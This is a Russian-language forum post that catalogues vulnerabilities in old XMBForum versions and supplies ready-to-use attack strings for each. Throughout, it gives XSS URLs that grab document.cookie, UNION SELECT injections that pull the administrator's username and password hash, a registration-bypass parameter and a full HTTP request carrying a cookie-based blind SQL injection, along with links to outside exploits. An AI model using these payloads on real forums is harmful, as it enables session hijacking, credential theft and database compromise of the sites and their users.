Обзор уязвимостей XMBForum
Решил пополнить данный раздел обзором уязвимостей ещё одного форума...
XMBForum 1.6x
Уязвимость: XSS
Описание: Уязвимость позволяет внедрять javascript и HTML код в сообщения форума между тэгами [img] и [/img].
Пример:
Код:
[im*g]javasCript:alert(document.cookie)[/im*g]
XMB Forum 1.6 Magic Lantern
Уязвимость: Обход регистрации
Описание: XMB Forum 1.6 Magic Lantern позволяет удаленным пользователям высказываться на форуме, обходя стандартные функции регистрации, при представлении произвольной строки к переменной "analized" в index.php. Кроме того, журналы регистрации index_log.log и cplogfile.log доступны любому пользователю через Web интерфейс. Пример:
Код:
/forumpath/index.php?analized=anything
XMB Forum 1.8
Уязвимость: SQL-Injection
Описание: Недостаток в процессе регистрации позволяет удаленному пользователь внедрить дополнительные SQL команды, чтобы получить хеш пароли любого пользователя XMB форума, включая администратора. Если система конфигурирована с параметром 'register_globals' в 'php.ini', то удаленный пользователь может представить специально обработанное значение в $email1 и $email2 переменных, чтобы заставить 'members.php' выполнить произвольные SQL команды на основной базе данных.
Участок уязвимого кода в файле members.php:
PHP код:
if($doublee == "off" && strstr($email, "@")){
$email = trim($email);
$email1 = ", email";
$email2 = "OR email='$email'";
}
$username = trim($username);
$query = $db->query("SELECT username$email1 FROM
$table_members WHERE \
username='$username' $email2");
Exploit: http://www.securitylab.ru/bitrix/exturl.php?goto=%2Fvulnerability%2Fsource%2F207915 .php
XMB Forum 1.8,1.9
Уязвимость: XSS
Описание: Поле 'action в сценарии 'buddy.php' не фильтрует данные, представленные пользователем. Удаленный пользователь может сконструировать специально обработанный URL, который, когда будет загружен целевым пользователем, выполнит произвольный код сценария в браузере целевого пользователя. Пример:
Код:
http://[target]/buddy.php?action=<script>alert(document.cookie)</script>&buddy=<script>alert(document.cookie)</script>
XMB Forum 1.8 Partagium Final SP2
Уязвимость: SQL-Injection & XSS
Описание: Удаленный пользователь может выполнить SQL команды на основной базе данных и выполнить XSS нападение.
SQL-Injection:
Код:
http://[target]/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL
SELECT NULL,NULL,username FROM xmb_members WHERE uid=1
LIMIT 1/*
http://[target]/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL SELECT
NULL,NULL,password FROM xmb_members WHERE uid=1
LIMIT 1/*
XSS:
Код:
http://[target]/xmb18sp2/forumdisplay.php?fid=1&foobar=<%73cript>
http://[target]/xmb18sp2/member.php?action=viewpro&member=x<%73cript>alert
(document.cookie);</%73cript>
http://[target]/xmb18sp2/u2uadmin.php?uid=x"><%73cript>alert(document.cookie);
</%73cript>
http://[target]/xmb18sp2/editprofile.php?user=x"><%73cript>alert
(document.cookie);</%73cript>
http://[target]/xmb18sp2/viewthread.php?tid=1&ppp=x<%73cript>alert
(document.cookie);</%73cript>
http://[target]/xmb18sp2/misc.php?action=list&order=postnum&desc=x<%73cript>alert
(document.cookie);</%73cript>
http://[target]/xmb18sp2/forumdisplay.php?fid=1&tpp=x<%73cript>alert
(document.cookie);</%73cript>
http://[target]/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x<%73cript>ale rt
(document.cookie);</%73cript>
XMB Forum 1.8 Partagium SP3; 1.9 Nexus Beta
Уязвимость: SQL-Injection & XSS
Описание: Удаленный пользователь может выполнить SQL команды на основной базе данных и выполнить XSS нападение.
SQL-Injection:
Код:
http://[target]/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY %20p.fid%20UNION%20SELECT%20password,null,9
http://[target]/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%2 0SELECT%20username,null,9
http://[target]/xmb19beta/misc.php?act ion=search&restrict=%20private=-99%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,
1%20LIMIT%201%20/*
XSS:
Код:
http://[target]/xmb19beta/misc.php?action=search&restrict=<body%20onload=alert(document.cookie);>
http://[target]/xmb19beta/today. php?restrict=<body%20onload=alert(document.cookie);>
http://[target]/xmb19beta/forumdisplay.php?fid=1&tpp=<body%20onload=alert(document.cookie);>
http://[target]/xmb19beta/xmb.php?show=version&xmbuser=foobar><body onload=alert(document.cookie);>
http://[target]/xmb19beta/editprofile.php?u ser=notexist_foobar&u2uheader=<body%20onload=alert(document.cookie);>
http://[target]/xmb19beta/u2u.php?folder=foobar"><body%20onload=alert(document.cookie);>
http ://localhost/xmb19beta/stats.php?action=view&viewmost="></textarea><body%20onload=alert(document.cookie);>
http://[target]/xmb19beta/stats.php?action=view&replymost=" ></textarea><body%20onload=alert(document.cookie);>
http://[target]/xmb19beta/stats.php?action=view&latest="></textarea><body%20onload=alert(document.cookie);>
htt p://localhost/xmb19beta/post.php?action=newthread&fid=1&message="></textarea><body%20onload=alert(document.cookie);>
http://[target]/xmb19beta/post.php?action=newthre ad&fid=1&icons=<body%20onload=alert(document.cookie);>
http://[target]/xmb19beta/forumdisplay.php?fid=1&threadlist=<body%20onload=alert(document.cookie);>
http://l ocalhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=<body%20onload=alert(document.cookie);>
http://[target]/xmb19beta/forumdisplay.php?fid=1&forumlist=<body%20onload= alert(document.cookie);>
http://[target]/xmb19beta/forumdisplay.php?fid=1&navigation=<body%20onload=alert(document.cookie);>
http://[target]/xmb19beta/forumdispla y.php?fid=1&forumdisplay=<body%20onload=alert(document.cookie);>
XMB Forum 1.9.1
Уязвимость: XSS
Описание: Уязвимость существует из-за недостаточной фильтрации данных в параметре
Mood и поле Send To. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
XMB Forum <1.9.3
Уязвимость: Mutliple vulnerabilities
Описание:
1. XSS. Уязвимость существует при обработке входных данных в параметре
username сценария
u2u.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. Пример:
Код:
http://[host]/u2u.php?action=send&username=[codе]
2. XSS. Уязвимость существует при обработке поля "Your Current Mood" при регистрации учетной записи. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный HTML код в браузере жертвы в контексте безопасности уязвимого сайта.
3. Раскрытие путей:
Код:
http://[host]/files/post.php?action=newthread&fid=PATH
4. SQL-Injection. Уязвимость существует в следствие недостаточной фильтрации Cookies. Участок уязвимого кода (файл today.php):
PHP код:
if ( X_MEMBER ) {
// let's add fids for passworded forums that the user can access
$r2 = array();
foreach ($_COOKIE as $key=>$val) {
if (preg_match('#^fidpw([0-9]+)$#', $key, $fetch)) {
$r2[] = "(fid='$fetch[1]' AND password='$val')";
}
}
if (count($r2) > 0) {
$r = implode(' OR ', $r2);
$q = $db->query("SELECT fid FROM $table_forums WHERE $r");
while($f = $db->fetch_array($q)) {
$fids[] = $f['fid'];
}
}
}
Сформировав в хидере Cookie правильный SQL-запрос, можно получить данные из базы данных:
Код:
GET /today.php HTTP/1.1
Host: xmb
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Firefox/1.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://xmb/viewthread.php?tid=2&page=1
Cookie: xmblva=1137629907; xmbuser=james; xmbpw=44cc344d25a2ffe540adbd5678e2394c;
fidpw0=') UNION SELECT uid FROM xmb_members WHERE uid=1 AND MID(password,1,1)=2/*
Cache-Control: max-age=0
4. XSS.
Код:
http://[target]/xmb/u2u.php?action=send&username="><script>alert
(document.cookie);</script>
XMB Forum 1.9.6
Уязвимость: SQL-Injection
Описание: Уязвимость существует из-за недостаточной обработки входных данных в параметре "
u2uid" в сценарии
u2u.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Exploit: http://retrogod.altervista.org/xmb_196_sql.html